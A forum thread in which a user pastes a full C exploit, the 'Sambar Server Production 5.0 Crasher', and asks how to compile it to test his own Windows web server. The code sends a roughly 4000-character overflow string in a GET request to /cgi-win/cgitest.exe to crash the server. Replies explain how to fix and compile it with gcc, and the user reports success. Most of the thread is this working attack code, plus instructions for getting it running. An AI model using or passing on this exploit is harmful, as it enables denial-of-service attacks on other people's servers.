How do I compile a code snippet. to test my box??
How do i compile some code. Im using Redhat 7.1 and i have another Box wich is using windows, on which my webserver is on, and im using sambar. Now i want to compile this code cut n paste, so i can test this vulnrability of my windows Box. but i dont know how to, i have tried saving it in a text file but with the extension .c .cpp then tried compiling with gcc but.it doesnt work. Or am i being totally stupid(probally) and is the code already compiled?? if so how do i use it, ( run it) many thanks. here is the code.
/********************************************************************* ********** ** **______________ 06.02.2002 - GREETZ TO WbC-BoArD & YAST CREW________ ________ ** **______________ Compiled with gcc under linux with kernel 2.4.17____ ________ ** **______________ Programname: Sambar Server 5.0__Manufacturer:Jalyn__ ________ ** ******************************************************************* *********/ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> #include <stdio.h> #include <string.h> #define SERVER_PORT 80 #define MAX_MSG 100 ____ __int sd, rc, i,j; __char buf[5000]; __char msgtosnd[5024]; __char msgtoget[102400]; __char source[200000]; __struct sockaddr_in localAddr, servAddr; __struct hostent *h; __FILE *f1; __ int main (int argc, char *argv[]) { printf("Sleepy of Yast presents \"Sambar Server Production 5.0 Crasher\"\n"); if(argc != 2) { printf(">>> usage: %s <ip>",argv[0]);exit(0); }; h = gethostbyname(argv[1]); if(h==NULL) { printf("%s: unknown host '%s'\n",argv[0],argv[1]); exit(1); } servAddr.sin_family = h->h_addrtype; memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); servAddr.sin_port = htons(SERVER_PORT); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd<0) { perror("cannot open socket "); exit(1); } localAddr.sin_family = AF_INET; localAddr.sin_addr.s_addr = htonl(INADDR_ANY); localAddr.sin_port = htons(0); rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr)); if(rc<0) { printf("%s: cannot bind port TCP %u\n",argv[0],SERVER_PORT); perror("error "); exit(1); } rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr)); if(rc<0) { perror("cannot connect "); exit(1); }; strcpy(buf,"A"); fprintf(stderr,"Entering Loop\n"); for(i=1;i<4000;i++) { strcat(buf,"A"); } sprintf(msgtosnd,"GET /cgi-win/cgitest.exe?%s HTTP/1.1\nhost: localhost\n\n\n",buf); for(j=0;j<5;j++) { send(sd,msgtosnd,5024,0); } printf("\n\n BOOOOM"); } |
First get rid of underscores
Quote:
Code:
int sd, rc, i,j; use the basic gcc gcc -o test.exe test.c |
And make sure you have gcc installed:
rpm -q -a|grep gcc |
well i'm not going to debug the code ;)
but i guess the gcc reports no errors? look if it produced an a.out or ....out do a ./ a.out to see if it works gcc -o nameyourprog name.c spits out the name you want try for testing some simple prog like the Hello World! prog thats described in all c tutorials enjoy since i'm not a 'real' programmer, hope this fits ** yes go for Mara's suggestions see timestamp ** |
Many thanks
Many many thanks people, this helped alot. i removed the underscores then saved it as "file".c and used gcc -o etc etc and it worked first time.
Many thanks again _Mhz |
All times are GMT -5. The time now is 12:23 PM. |